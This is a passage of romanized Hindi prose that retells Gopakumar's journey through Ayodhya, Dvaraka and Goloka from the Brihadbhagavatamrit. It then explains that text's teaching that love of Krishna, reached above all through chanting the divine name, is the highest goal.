jab ve ayodhya pahuanche aur shri ram chandr ke darshan kiye to unhoanne svayan unase gaurav-buddhi tyag dene ko kaha aur bole- he suhrittamh! tum mere prati sneh se prerit ho yahaan chale aye ho. kuchh der vishram karo, pranamadi karane ka kasht n karo. tumhara kasht dekhakar mujhe bhi kasht hota hai, kyoanki tum mere chirabandhu ho. maian tumhare prem ke sada adhin hooan. gopakumar unake vachanoan se paramasantusht hue. par ve poorvabhyas aur dashakshar mantr-jap ke prabhav ke karan ramachandr mean madanagopal ke roopagunadi ka arop karate aur tadanuroop unake aliangan-chumbanadi sahit premapoorn vyavahar ki asha karate. unhean jab unaki is prakar ki lila-madhury aur kripa ka anubhav n hota, tab ve shokatur ho p date. yah dekh ramachandr ne dvarakapuri ko unake bhav ke adhik upayukt jan unhean vahaan bhej diya.

dvarakapuri mean gopakumar raj-rajeshvar ke vesh mean apane isht shri krishna ki roopamadhuri ke darshan kar anand-samudr mean doob gaye. kshan bhar mean unhean moorchchha a gayi. uddhav ji ne yatnapoorvak unhean sachet kiya. phir bhi ve prabhu ke darshan kar anandatirek ke karan itana vivash the ki unaki stuti adi kuchh nahian kar pa rahe the. prabhu svayan unhean apane nikat le ane ke lie jaise hi age badhe, uddhav ne unhean balapoorvak khianchakar unaka mastak unake charanoan par rakh diya. prabhu ne apane hast kamal se unaka aang marjan kiya aur kushal-prashn poochhe. phir unaka hath pak dakar ant:pur mean rohini, devaki mata aur solah hazar ath mahishiyoan ke bich le gaye. vahaan gopakumar ki vanshi lekar unhoanne jaise hi apane hath mean dharan ki unaki bhavamudra gokul ke madan gopal jaisi ho gayi. unamean apani dhyanadhyey moorti ke darshan kar gopakumar ko phir anandamoorchha a gayi. tab dvarakadhish ne apane hastakamal se unaka gatr marjan kiya. prabodh vakyoan dvara unhean sachet kiya. phir apane hath se pahale unhean bhojan karaya, pichhe svayan bhojan kiya.

gopakumar paramanandapoorvak dvarakapoori mean rahane lage. yahaan ka anand vaikunth aur ayodhya ke anand se bhi kotiguna shreshth tha. vishesh roop se yahaan ve apane ishtadev shrivrajendr kumar ki anupam roop madhuri ke darshan kar, apane prati sauhardapoorn vyavahar ko dekhakar aur unake amritamay, karunapoorn vachanoan ko sunakar jis sukh ka anubhav karate usaki tulana nahian ki ja sakati. phir bhi un par ek anirvachaniy udasi chhayi rahati. unake mukharavind par atripti ke lakshan spasht dikhaee dete. karan yah tha ki dvaraka mean unake isht ka sannidhy aur unaka prem poorn vyavahar tha, to bhi ve rajaishvary ki maryada se bandhe hue the. yahaan n to unake sath gocharan aur khel-kood adi ka avasar tha, n vraj ka aliangan-chumban adi ka unmukt vatavaran, jisaki unhean dhyan mean sphoorti hua karati.

"ek din narad muni ne unaki avastha janakar upadesh kiya-tumhari poorn tripti golok mean hi sambhav hai. tum braj bhoomi mean jakar smaran-kirtanadi sadhan dvara golok prapti ka udyog karo. vahian tumhara sadhan sucharoo roop se sampann ho sakega, kyoanki vah prithvi par sthit hote hue bhi vaikunth ke oopar sthit golok se abhinn hai. dvarakanath tumhari avastha se avagat hai. ve svayan tumhean vahaan pahuancha deange."

narad muni ke vachanamrit sun gopakumar mohadashako prapt hue unake netr mudrit ho gaye. unhoanne anubhav kiya ki unhean koee kahian le ja raha hai. kuchh der mean netr-khole to dekha ki ve golok mean upasthit haian. golok mean golok-sthit mathura-vrindavan mean shrikrishna ka anveshan karate hue ve goparaj nand ki puri pahuanche. shrikrishna us samay gocharan ko gaye hue the. isalie sandhya samay ve jamuna ke kinare unake agaman-path par ja kh de hue aur utkantha sahit us or drishti lagae kh de rahe, jis or se nandanandan ane vale the. tho di der mean gayoan ka hambarav aur pran-akarshini murali ki madhur dhvani sunaee di. ek snigdh shyamal kanti se dasoan dishaye ujjval ho gayi. manoram aang-gandhane vatavaran ko unmatt kar diya. phir ek hi kshan mean vany-vesh mean moramukut bansidhari shrikrishna ke mridumand-hasyayukt praphull mukh kamal ki apoorv saundaryarashi ke darshan kar ve moh dasha ko prapt hue. shrikrishna ne unhean dekh shridam se kaha-

"vah dekh! mera pyara sakha a gaya,"aur kahate-kahate unaki or dau d p de.

gopakumar ko jab chetana aee to unhoanne dekha ki nandanandan ke sath ve bhoomi par p de haian. nandanandan prem ke avesh mean unhean apane bahupash mean kase hue moorchchhit avastha ko prapt ho gaye hai. unake donoan netroan se pravahit ashrudhara ke veg se rajomay path pankil ho gaya haian. gopiyaan unhean dekhakar lajjahin ho rodan karati huee kah rahi haian-"hay! hamare prananath ko yah kya hua? kya yah vyakti kans ka koee mayavi anuchar hai, jisake ate hi unaki aisi dasha ho gayi?" krishna ke sathi gopagan bhi uchch svar se rodan kar rahe haian. us krandanadhvani ko door se sun nandadi gopagan aur putravatsala yashoda adi vriddha gopiyaan bhi vahaan a gaye haian aur krishna ko moorchchhit dekh ha-ha kha rahe hai. pashugan kataratasoochak shabd karate-karate unake nikat akar unake shriaang ko sooangh-sooanghakar use chat rahe haian. pakshi unake oopar akash mean mandarate hue shok-soochak kolahal kar rahe haian.

gopakumar marmahat aur kiankartavyavimoodh se yatnapoorvak shrikrishna ke bahupash se apane ko mukt karate hue uthe aur unake charan yugal mastak par dharan kar bahut-kuchh vilap karate hue rodan karane lage. itane mean balaram aye pichhe se bhagate hue. unhean gopakumar ko dekh shrikrishna ko moorchchha ka rahasy samajhane mean der n lagi. unhoanne gopakumar ki baanh shrikrishna ke gale mean dal di, unake hath se shrikrishna ke aang ka marjan karavaya, aur din vakyoan dvara uchch svar se unhean bulavate hue bhoomi se uthavaya. tab unake netroan ko, jo ashrudhar ke karan mudrit ho rahe the, khulavaya. sakha ke hath ke sparsh se unhean kuchh bahy jnan hua. vikasit netroan se unhean dekhate hi unhoanne unaka aliangan-chumban kiya. jaise bahut dinoan ke bichhu de apane pranapriy sakha ko prapt kar koee paramanandit hota hai, us prakar paramanandit ho apane bayean hast kamal se unaka dahina hath pak d kar unase bahut-se kushal-prashn kiye.

tab jhoomate-jhoomate unake sath pur mean pravesh kiya. godohan ke pashchath ant:pur mean unhean le ja kar mata yashoda ki bandana karavaee. yashoda maan ne unake prati krishna ka atishay prem dekh unaka bhi apane putr ke saman lalan-palan kiya. snanadi kar krishna ne nandababa aur balaram ke sath bhojan grih mean pravesh kiya. shrinand kanakasan par virajaman hue. shrikrishna unake baee or baithe, balaram daee or. gopakumar ko shrikrishna ne agrahapoorvak samane baithaya. yashoda maan ne pariveshan prarambh kiya. usi samay brajasundariyaan apane-apane ghar se nana prakar ki bhojy samagri lekar ayian. shrikrishna ne prashansa sahit unhean aroga aur apane hath se gopakumar ko khilaya. jab shri radha dvara laye gaye laddoo unake samane rakhe gaye, to unaka ek kan jihva se sparsh karate hi unhoanne radha ki or dekhate hue aisa muanh banaya jaise vah nim ki tarah k dava ho aur yah kahate hue ki 'he radhe! yah laddoo tumhare vansh mean jat is vyakti ke hi yogy haian' gopakumar ko unhean de diya. is parihas ke chhal se unhoanne gopakumar ko vah vastu pradan ki jisase adhik aur kuchh dene ko unake pas n tha. golok mean gopakumar ko abhisht phal ki poorn roop se prapti huee. ve nity vahaan rahakar yugal ki nity nayi roop-madhuri, nity nayi lila-madhuri aur unaki prem-seva ke anirvachaniy ras ka asvadan karane lage.

sadhy bhagavanh nahian, bhagavatprem hai

vrihadbhagavatamrit ki akhyayika ke bich mean gopakumar ko samay-samay par diye gaye naradadi ke upadeshoan ke madhyam se sanatan gosvami ne sadhy-sadhan tattv ka bhi niroopan kiya hai. sadhy mukti nahian, bhagavanh bhi nahian, bhagavatprem hai. prem prapt ho jane par bhagavanh svayan bhakt se vashibhoot ho jate haian aur dharm, arth, kam aur moksh mean usaka tuchchh bhav ho jata hai. mukti-sukh bhakti-sukh ka virodhi haian, kyoanki mukti-sukh simit aur triptijanak hai. bhaktisukh asim hai, sada vardhanashil haian, kyoki bhagavanh ka svaroop sada ek hote hue bhi nity navin hai ve nity nayi roop-madhuri aur nayi-nayi lilao ko prakat kar bhaktoan ko sukhi karate haian. yahi bhaktoan ke prati unaki karuna ki parakashtha hai. mukti ki avastha mean atmaram muniyoan ko keval ek hi sukh ka anubhav hota hai. man ki vritti ke abhav ke karan usaka vistar sambhav nahian hota. vah utkantha-rahit aur shoony –sa pratit hota haian. bhaktoan mean vahi sukh man ki vritti ke karan kee guna adhik ho jata hai, usi prakar jis prakar akash sthit soory ka prakash sphatik mani par p dane se kee guna adhik ho jata hai. mukti bhakti ka gaun phal hai, par atmaramata bhakti ka gaun phal bhi nahian hai. atmaramata prem ki virodhi hai, kyoanki isase utkantha ka nash hota hai. prem ka svaroop hi hai sada atript rahana arthath atmaramata ka n honaan atmaramata ka n hona bhakti ka dooshan nahian, bhooshan hai. narad muni ne bhagavanh se var maanga ki bhakti ya prem mean kisi ko kabhi tripti n ho, to bhagavanh ne uttar diya-"yah to meri bhakti ka svabhav hi hai. apane kya mere kisi bhakt ko kabhi tript dekha hai?"

prem-prapti ka sadhan

prem-prapti ka mukhy karan shrikrishna ki kripa haian. kisi-kisi par yah kripa akasmath ho jati hai; koee ise sadhan dvara kram se labh karate haian, jaise koee udar data kisi ki bana hua bhojan danan kar deta hai, kisi ko sidha de deta hai, jisase use bhojan svayan taiyar karana p data hai.

prem-prapti ke sadhak ko pahale use bhay ko door kar dena chahie, jo use shrikrishna ko eeshvar janane ke karan lagata hai. use shrikrishna mean bandhu-bhav rakhana chahie. unase das, sakha, mata-pita ya kanta ka laukik nata jo dakar us bhav ke vraj gop-gopi ke anugaty mean bhajan karana chahiean bhajan navadha-bhakti ke anuroop hona chahie. usamean shrikrishna ki vraj-lilaoan ka dhyan-gan aur usamean bhi prabhuka nam- sankirtan mukhy hona chahie. yah sadhan shrikrishna ki priy kri dabhoomi vraj mean rahakar karana chahie, kyoanki vahaan rahakar karane se nishchit roop se prem ki prapti shighr ho jati haian.

kirtan-bhakti smaran-bhakti se shreshth hai, kyoki smaran-bhakti ekamatr chanchal man mean hi prakashit hoti hai aur kirtan-bhakti jihva, kan tatha man mean prakashit hoti haian aur as-pas rahane vale doosare jivoan ko bhi prabhavit karati hai.

shrikrishna ki prem roop sampatti prapt karane ke lie nam-sankirtan hi balavan tatha shreshth sadhan hai, kyoanki yah akarshan-mantri ki tarah shrikrishna ko sadhak ke pas khianch lane ki samarthy rakhata hai. par yadi dhyan ke prabhav se samast indriyoan ki vrittiyaan antarmukh hokar man ki vritti mean prakashit ho jayean, arthath dhyan avastha mean shravan-kirtan-darshan adi man mean bahar ki tarah prakash pane lagean, to is prakash ka dhyan bahy kirtanadi ki apeksha shreshth hai.

vaise kirtan aur dhyan ko ek-doosare se bilkul prathak nahian samajhana chahie, kyoanki kirtan se dhyan ka sukh badhata hai, dhyan se kirtan ka.

sath hi yah bhi dhyan rakhana chahie ki sadharan roop se kirtan ko sab sadhanoan se shreshth mana gaya haian, to bhi jisaki jis sadhan mean samyak priti ho, jisase use poornaroop se sukh prapt hota ho, usake lie vahi sadhan sarvashreshth haian. use usi ka anushthan karana chahie, kyoanki usake lie vah sadhan phalaroopi hi hai.

isaka yah arth nahian ki nishkam bhakti ke anushthanoan ke atirikt karm, jnanadi aur kisi sadhan se prem ki prapti ho sakati hai. karm, jnanadi sadhanoan ki prapti aur nishkam bhakti ki prapti mean bahut antar hai. sakam punyakarm karane vale grihasthiyoan ko bhoo: bhuv: sv: in tinoan lokoan ki prapti hoti hai. nishkam-karm karane vale grihasthi, naishthik brahmachari, vanaprasth tatha sannyasiyoan ko, inase oopar mah: jan: tapan, satyan in char lokoan ki prapti hoti hai. bhog samapt hone par yah sab phir bhoomandal par akar janm grahan karate haian. jo maharlokadikoan ko prapt hote haian, unamean se koee-koee brahma ji ke sath mukt ho jate haian. jo bhagavanh ke sakam bhakt haian ve apani ichchha se sab sukh bhagoan ko bhogate hue, vishuddh hokar bhagavaddham ko prapt hote haian. par jo bhagavanh ke nishkam bhakt haian, ve tatkshan us vaikunth ko prapt hote haian, jo sachchidanand-svaroop haian, aur mukt purushoan ko bhi durlabh hai.

nishkam bhakti karm-jnanadi ke sansparsh se mukt honi chahie, kyoanki karm se bhakti mean vikshep hota haian, vairagy se usaka ras sookh jata hai aur jnan se vah nasht ho jata hai. in tinoan se door ho jana hi bhakti ki pratham kaksha hai.

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